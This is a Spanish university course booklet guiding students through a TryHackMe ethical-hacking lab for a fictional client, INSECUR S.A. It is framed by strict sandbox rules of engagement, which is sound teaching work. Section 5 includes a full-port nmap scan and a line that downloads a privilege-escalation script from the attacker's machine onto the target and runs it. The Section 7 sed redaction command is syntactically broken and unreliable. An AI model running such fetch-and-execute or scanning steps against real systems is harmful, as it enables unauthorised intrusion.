

Cuadernillo de Estudio — Clase 9

Laboratorio de Hacking Ético: Práctica de Revisión de Vulnerabilidades

Seguridad Aplicada a Sistemas de Información
 Licenciatura en Sistemas de Información — Facultad de Informática y Diseño
 Docente: Ing. Rodrigo Atilio Elgueta
 Ciclo Académico Vigente

Índice

1. Objetivos de aprendizaje	2
2. El Contrato: INSECUR S.A.	2
3. Modelo de Trabajo: Núcleo + Elección	2
3.1. Nivel 1: Núcleo Obligatorio (Todos los estudiantes)	3
3.2. Nivel 2: Sala de Elección (Especialización)	3
4. Configuración del Arsenal	3
4.1. Conexión a la VPN de TryHackMe	3
4.2. Organización del Repositorio de Entrega	3
5. Metodología: El Ciclo del Pentester	4
6. Guía de Supervivencia en el Laboratorio	4
7. Mecanismos de Control y Autenticidad	4
8. El Entregable: Estructura del Informe	5
9. Glosario de conceptos clave	5
10. Autoevaluación	6
11. Respuestas de la Autoevaluación	6
12. Recordatorio: Actividad A08	7
13. Fuentes y bibliografía	8
13.1. Plataformas y Laboratorios	8
13.2. Bibliografía de la Cátedra	8
13.3. Marcos de Trabajo	8

1. Objetivos de aprendizaje

Al finalizar esta etapa de laboratorio, el estudiante será capaz de:

- Configurar un entorno profesional de pentesting (Kali Linux, VPN, herramientas ofensivas).
- Ejecutar las fases de **reconocimiento, escaneo, explotación y post-explotación** en entornos controlados (sandbox).
- Documentar técnica y éticamente cada hallazgo, generando evidencia verificable.
- Traducir vulnerabilidades técnicas a **riesgos de negocio** y proponer salvaguardas.
- Elaborar un **Protocolo de Contingencia** para garantizar la continuidad del negocio ante fallas en los procedimientos.
- Completar la **Actividad A08** para el cliente ficticio **INSECUR S.A.**

Cómo usar este cuadernillo

Este material es tu **Manual de Operaciones** para las Clases 9 y 10. No es una clase teórica tradicional: es una guía de campo. Léelo antes de conectarte a TryHackMe, tenelo abierto en una ventana mientras trabajas en la terminal, y usalo para estructurar tu informe final. Las respuestas de la autoevaluación están en la Sección 11.

2. El Contrato: INSECUR S.A.

A partir de esta clase, dejás de ser un estudiante en un aula y asumís el rol de **Consultor de Hacking Ético**.

El Briefing del Cliente

Cliente: INSECUR S.A.

Contexto: La compañía está muy preocupada por los niveles de seguridad de sus sistemas y necesita tomar medidas adecuadas al respecto, motivo por el cual contrata tus servicios de Hacking Ético a fin de que les ayudes a elaborar un plan de seguridad y contingencia adecuado.

Tu Misión: Realizar una auditoría ofensiva controlada, identificar las vías de compromiso y entregar un informe ejecutivo y técnico que permita a la empresa remediar las fallas antes de que un atacante real las explote.

Reglas de Enfrentamiento (ROE)

Como profesional, tu trabajo está estrictamente limitado a los **entornos de laboratorio (sandbox)** provistos por la plataforma TryHackMe. Cualquier intento de escanear, atacar o comprometer sistemas fuera de este alcance (incluyendo la red de la facultad, servidores públicos o sistemas de otros estudiantes) es una violación ética y un delito penal.

3. Modelo de Trabajo: Núcleo + Elección

Para garantizar una base común de conocimientos y, al mismo tiempo, fomentar la especialización, el laboratorio se divide en dos niveles:

3.1. Nivel 1: Núcleo Obligatorio (Todos los estudiantes)

Estas salas cubren la metodología fundamental y la aplicación práctica básica.

1. **Pentesting Fundamentals:** Metodología y fases del pentesting profesional.
2. **Basic Pentesting:** Aplicación práctica completa (enumeración, explotación, escalada).

3.2. Nivel 2: Sala de Elección (Especialización)

Debés elegir **UNA** sala adicional de la lista curada de salas gratuitas de TryHackMe, según tu interés profesional. Esta elección debe quedar documentada en la portada de tu informe.

Sala	Dificultad	Enfoque	Perfil recomendado
Vulnversity	Inicial	Web + Ex-ploit	Tu primera máquina, ideal para empezar.
Kenobi	Inicial-Media	Samba + Linux PE	Si te interesa la enumeración de servicios.
RootMe	Media	Web + PE	Si querés un desafío multi-vulnerabilidad.
OWASP Top 10	Media	Vuln. Web	Si te orientás a desarrollo seguro / Bug Bounty.
Blue	Media	Windows PE	Si querés especializarte en entornos corporativos Windows.
Overpass	Media	Web + Lógica	Si te interesa la lógica de negocio y OSINT.

4. Configuración del Arsenal

4.1. Conexión a la VPN de TryHackMe

Para que tu máquina Kali pueda alcanzar las máquinas objetivo en la red privada de THM, debés conectarte a su VPN.

```

1 # 1. Descarga tu archivo .ovpn desde THM (Account -> Access)
2 # 2. Conecta la VPN desde tu terminal Kali
3 sudo openvpn --config ~/Downloads/tu-usuario.ovpn

```

Verificación: Hacé ping a la IP de la máquina objetivo. Si responde, estás dentro.

4.2. Organización del Repositorio de Entrega

Tu trabajo se entrega de forma profesional mediante control de versiones.

```

1 # Clonar el repositorio oficial de la catedra
2 git clone https://github.com/UCHSeguridad2026/TP_THM.git
3 cd TP_THM
4
5 # Crear tu branch personal (Reemplazar XXXXX por tu legajo)
6 git checkout -b legajo-XXXXX
7
8 # Crear la estructura de carpetas del pentest
9 mkdir -p evidencias/{reconocimiento,escaneo,explotacion,post}
10 mkdir -p bitacora
11 mkdir -p reportes

```

5. Metodología: El Ciclo del Pentester

No entres a la terminal a tirar comandos al azar. Seguí este flujo estricto para cada máquina:

1. **Reconocimiento Pasivo:** ¿Qué sabemos del objetivo antes de tocarlo? (OSINT, análisis de la interfaz web si la hay).
2. **Escaneo de Puertos:**

```
1 nmap -sC -sV -p- -oN bitacora/nmap_completo.txt <IP_OBJETIVO>
```
3. **Enumeración de Servicios:** Por cada puerto abierto, investigá la versión. Buscá exploits públicos (searchsploit, Google). Si es web, corré gobuster o nikto.
4. **Explotación:** Ejecutá el exploit. Si falla, revisá los parámetros (LHOST, LPORT, versión exacta).
5. **Post-Explotación:** Una vez dentro, el objetivo es **escalar privilegios**.

```
1 # En Linux:
2 whoami && id && sudo -l
3 wget http://TU_IP_KALI:8000/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
```

6. **Documentación:** Cada paso crítico debe tener su captura de pantalla y su comando en la bitácora.

6. Guía de Supervivencia en el Laboratorio

¿Qué hago si me trabo? (La regla de los 15 minutos)

En el hacking, frustrarse es parte del proceso. Si llevás 15 minutos atascado en un paso, aplicá este protocolo:

1. **Respirá y releé la salida del comando.** El 80 % de los errores son de tipeo o de no leer el mensaje de error de la consola.
2. **Verificá tu conectividad.** ¿Sigue activa la VPN? ¿Podés hacer ping a la máquina? ¿Tu Kali tiene salida a internet para descargar herramientas?
3. **Enumerá de nuevo.** Si la explotación falla, casi siempre es porque te faltó enumerar un puerto, un directorio web oculto o un usuario válido. Volvé a Nmap y Gobuster.
4. **Investigá el error.** Copiá el mensaje de error exacto y buscalo en Google o foros. Leer *por qué* falló un exploit te enseña más que si hubiera funcionado a la primera.
5. **Pedí ayuda.** Levantá la mano en el aula o consultá en el foro de la cátedra, pero **nunca pidas la flag**. Pedí una *pista metodológica* (ej: «¿Qué herramienta me sugieren para enumerar SMB?»).

7. Mecanismos de Control y Autenticidad

Para garantizar que el informe es de tu autoría y que realizaste el trabajo vos mismo, debés cumplir con estos 4 mecanismos:

1. **Username de THM:** Tu nombre de usuario único de TryHackMe debe figurar en la portada del informe y ser visible en las capturas de pantalla de la plataforma.
2. **Bitácora de Comandos:** Al finalizar cada sesión, exportá solo los comandos relevantes. Revisá el archivo y eliminá contraseñas, tokens y claves antes de subirlo.

```
1 history | sed -E 's/(password|passwd|token|secret|api[_-]?key)[^\s]*\s*=([REDACTED])/Ig' > bitacora/sesion_$(date +%F).txt
```

3. **Hashes de las Flags: NO publiques las flags en texto plano** en tu repositorio (GitHub es público y los writeups circulan). En su lugar, calculá el hash SHA-256 de la flag y pegalo en tu informe. El docente verificará que poseés la flag correcta sin que quede expuesta.

```
1 echo -n "thm{flag_aqui}" | sha256sum
```

4. **Commits Firmados:** Configuraré Git con tu nombre real y email institucional.

8. El Entregable: Estructura del Informe

El informe para INSECUR S.A. debe seguir estrictamente la **Plantilla de Pentesting** provista por la cátedra. Asegurate de incluir:

- **Pre-Pentesting:** Alcance, Reglas de Enfrentamiento (ROE) y Metodología.
- **Durante (Fichas de Hallazgos):** Cada vulnerabilidad con su CWE, CVSS, evidencia (captura + hash de flag) y comando utilizado.
- **Post-Pentesting:** Recomendaciones técnicas (parches) y administrativas (políticas).
- **Protocolo de Contingencia:** (*Crítico para A08*). ¿Qué pasa si al aplicar el parche o al ejecutar el exploit en un entorno real, el servicio crítico de INSECUR S.A. se cae? Debés definir el RTO (Tiempo Objetivo de Recuperación), el RPO (Punto Objetivo de Recuperación) y el plan de rollback.

9. Glosario de conceptos clave

Sandbox	Entorno aislado y seguro para ejecutar código o pruebas sin afectar sistemas de producción.
ROE	<i>Rules of Engagement</i> . Reglas de enfrentamiento que delimitan el alcance legal del pentest.
Escalada de Privilegios	Proceso de explotar una falla para pasar de un usuario común a administrador (root/SYSTEM).
LinPEAS / WinPEAS	Scripts de enumeración automática para buscar vectores de escalada de privilegios en Linux y Windows.
Reverse Shell	Conexión donde la máquina víctima inicia la conexión de vuelta hacia el atacante, bypassando firewalls de entrada.
Hash SHA-256	Función criptográfica unidireccional usada para verificar la integridad de un dato (en este caso, demostrar posesión de una flag).

10. Autoevaluación

Respondé por escrito; luego verificá en la Sección 11.

1. ¿Por qué es fundamental exportar la **bitácora de comandos** (*history*) al finalizar la sesión de pentesting?
2. En lugar de subir las flags en texto plano a GitHub, la cátedra pide subir su **hash SHA-256**. ¿Qué propiedad de la seguridad (Tríada CIA) estamos protegiendo al hacer esto y por qué?
3. Si durante la fase de explotación el servidor objetivo se «cuelga» o reinicia, ¿qué fase de la metodología debés volver a recorrer antes de intentar explotar nuevamente?
4. Explicá con tus palabras la diferencia entre **Remediación** y **Protocolo de Contingencia** en el informe para INSECUR S.A.
5. ¿Por qué un pentester ético nunca debe usar herramientas de escaneo masivo (como Nessus en modo agresivo) contra la red de la facultad o sistemas públicos?

11. Respuestas de la Autoevaluación

Nota para el estudiante

Estas respuestas son de referencia. En tu informe y en las defensas orales se valorará tu capacidad de justificar las decisiones técnicas.

Pregunta 1: Importancia de la bitácora de comandos

Respuesta

La bitácora (*history*) es fundamental por tres motivos:

1. **Trazabilidad y Auditoría:** Permite reconstruir exactamente qué comandos se ejecutaron, en qué orden y contra qué objetivos, demostrando que el trabajo se hizo dentro del alcance autorizado.
2. **Reproducibilidad:** Permite al equipo de IT del cliente (o al propio pentester) replicar los pasos para verificar la vulnerabilidad o probar si el parche aplicado fue efectivo.
3. **Control de Autenticidad:** Evita el plagio de *writeups* de internet, ya que la bitácora refleja el proceso real, los errores cometidos y los caminos alternativos explorados por el estudiante.

Pregunta 2: Hashes de Flags y la Tríada CIA

Respuesta

Al publicar el hash SHA-256 en lugar de la flag en texto plano, estamos protegiendo la **Confidencialidad** de la evidencia. **Por qué:** Las plataformas como TryHackMe usan flags únicas o estáticas que, si se publican en repositorios públicos como GitHub, permiten que otros usuarios las copien sin realizar el trabajo. Al subir el hash, el estudiante **demuestra matemáticamente** que posee la flag (ya que puede generar el hash bajo demanda ante el docente), pero no la expone a terceros, manteniendo la integridad del ejercicio académico.

Pregunta 3: Servidor que se «cuelga» durante la explotación

Respuesta

Si el servidor se reinicia o deniega servicio tras un intento de explotación, debes volver a la fase de **Enumeración y Escaneo**. **Por qué:** Un reinicio puede indicar que el servicio vulnerable cambió de estado, que un mecanismo de defensa (como un IPS o un script de reinicio automático) se activó, o que el exploit fue inestable y corrompió la memoria del proceso. Volver a escanear (Nmap) te permite verificar si los puertos siguen abiertos, si las versiones cambiaron o si aparecieron nuevos servicios tras el reinicio.

Pregunta 4: Remediación vs. Protocolo de Contingencia

Respuesta

- **Remediación:** Es la acción correctiva para **eliminar la vulnerabilidad** (ej. aplicar un parche de seguridad, cambiar una contraseña por defecto, segmentar la red). Responde a la pregunta: «¿Cómo arreglo el agujero?».
- **Protocolo de Contingencia:** Es el plan de acción para **garantizar la continuidad del negocio** si la remediación falla o si el ataque ya ocurrió. Responde a la pregunta: «¿Qué hacemos si al aplicar el parche el servidor crítico de ventas se cae y no vuelve a levantar?». Incluye planes de rollback, servidores espejo, backups y tiempos de recuperación (RTO/RPO).

Pregunta 5: Ética en el escaneo masivo

Respuesta

Un pentester ético nunca debe usar escáneres agresivos fuera del alcance autorizado porque:

1. **Riesgo de Denegación de Servicio (DoS):** Los escaneos agresivos consumen ancho de banda y recursos de CPU/RAM, pudiendo tirar servicios legítimos (Disponibilidad).
2. **Violación Legal:** Escanear redes sin autorización escrita (como la red de la facultad o servidores en internet) es un delito informático tipificado en el Código Penal, independientemente de la «intención» de aprender.
3. **Ruido Forense:** Genera miles de alertas en los IDS/IPS de las organizaciones, entorpeciendo el trabajo de los equipos de Blue Team y ocultando posibles ataques reales.

12. Recordatorio: Actividad A08

Consigna A08 — Práctica de Vulnerabilidades y Exploit

Contexto: INSECUR S.A. te contrata para elaborar un plan de seguridad y contingencia.

Tareas: Completar las salas de TryHackMe (Núcleo + Elección).

Entregable: Informe detallado utilizando la **Plantilla de Pentesting** de la cátedra. Debe incluir documentación previa, durante, recomendaciones posteriores y el Protocolo de Contingencia.

Modalidad: Individual.

Repositorio: Crear un branch `legajo-XXXXX` en https://github.com/UCHSeguridad2026/TP_THM.git y subir el PDF del informe, las evidencias y las bitácoras.

Rúbrica de evaluación (según grilla de la cátedra):

Criterio	Peso	Qué se espera para el «Excelente» (4)
A. Recopilación de información	10 %	Fuentes confiables y citadas (CVEs, documentación oficial).
B. Elaboración de documentos	25 %	Cumplimiento estricto de la Plantilla de Pentesting.
C. Elaboración de presentaciones	10 %	Argumentación sólida del riesgo de negocio ante IN-SECUR S.A.
D. Integración de Soluciones	25 %	Parches y medidas de contingencia integrados sobresalientemente.
E. Selección de herramientas	20 %	Herramientas adecuadas y justificadas técnicamente.
F. Consciencia de buenas prácticas	10 %	Respeto absoluto por la ética, ROE y anonimización de datos.

13. Fuentes y bibliografía

13.1. Plataformas y Laboratorios

- TryHackMe. *Pentesting Fundamentals*: <https://tryhackme.com/room/pentestingfundamentals>
- TryHackMe. *Basic Pentesting*: <https://tryhackme.com/room/basicpentestingjt>
- Offensive Security. *Metasploitable 2* (Entorno local alternativo).

13.2. Bibliografía de la Cátedra

- Chicano Tejada, E. (2023). *Auditoría de seguridad informática. IFCT0109* (2.^a ed.). IC Editorial — eLibro.
- Evans, L. (2019). *Ethical Hacking: The Ultimate Guide to Using Penetration Testing....* Amazon Digital Services LLC — KDP.
- White, A. & Clark, B. (2017). *BTFM: Blue Team Field Manual*. CreateSpace.
- Weidman, G. (2014). *Penetration Testing: A Hands-On Introduction to Hacking*. No Starch Press.

13.3. Marcos de Trabajo

- NIST (2008). *Technical Guide to Information Security Testing and Assessment (SP 800-115)*.
- PTES (Penetration Testing Execution Standard): <http://www.pentest-standard.org/>